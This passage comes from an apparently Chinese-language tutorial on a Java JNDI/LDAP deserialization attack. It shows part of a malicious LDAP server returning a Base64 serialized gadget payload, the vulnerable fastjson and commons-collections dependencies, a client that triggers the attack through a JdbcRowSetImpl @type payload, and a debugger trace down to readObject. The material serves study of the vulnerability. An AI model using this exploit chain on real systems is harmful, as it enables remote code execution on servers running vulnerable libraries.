YXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

服务端,客户端都加上依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

客户端代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;  

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIGadgetClient {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/ExportObject");

// Fastjson反序列化JNDI注入Gadget触发
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

image-20260112211641144

IDEA调试分析:

跟前面打断点跟进就行,一直走到com.sun.jndi.ldap.LdapCtx#c_lookup

image-20260112212505883

进到 decodeObject() 方法里面,往下走,看到一个 getURLClassLoader() 这里方法里面。

image-20260112212517881

往下走,进入到 trustURLCodebase 的判断,这里默认就是 false,所以没跳进去,无法进行 URLClassLoader 的实例化。但是这个地方其实我们已经获取到字节码了,只是不实例化就无法加载,也就无法命令执

1
return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);

image-20260112212538947

这里实例化不通过是不会加载字节码进行命令执行的,我们继续往下走,有一个 deserializeObject() 方法非常引人注目,根据意思,它一定是一个用来反序列化的方法。再查看一下这里被反序列化的东西,是一个 javaSerializedData 数据类型的类。

image-20260112212848478

跟进这个方法,遇到了我们无比倾心的 readObject() 方法,OK 至此,入口类的条件满足。

image-20260112212733319

总结:

利用 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化,先生成包含恶意指令的序列化字节码(Base64格式),然后构造恶意的ldap服务,当有客户端进行查询时,该服务器会在返回的条目(Entry)中设置javaSerializedData属性,其值就是刚才生成的恶意序列化数据,通过 deserializeObject() 方法的反序列化来进行命令执行。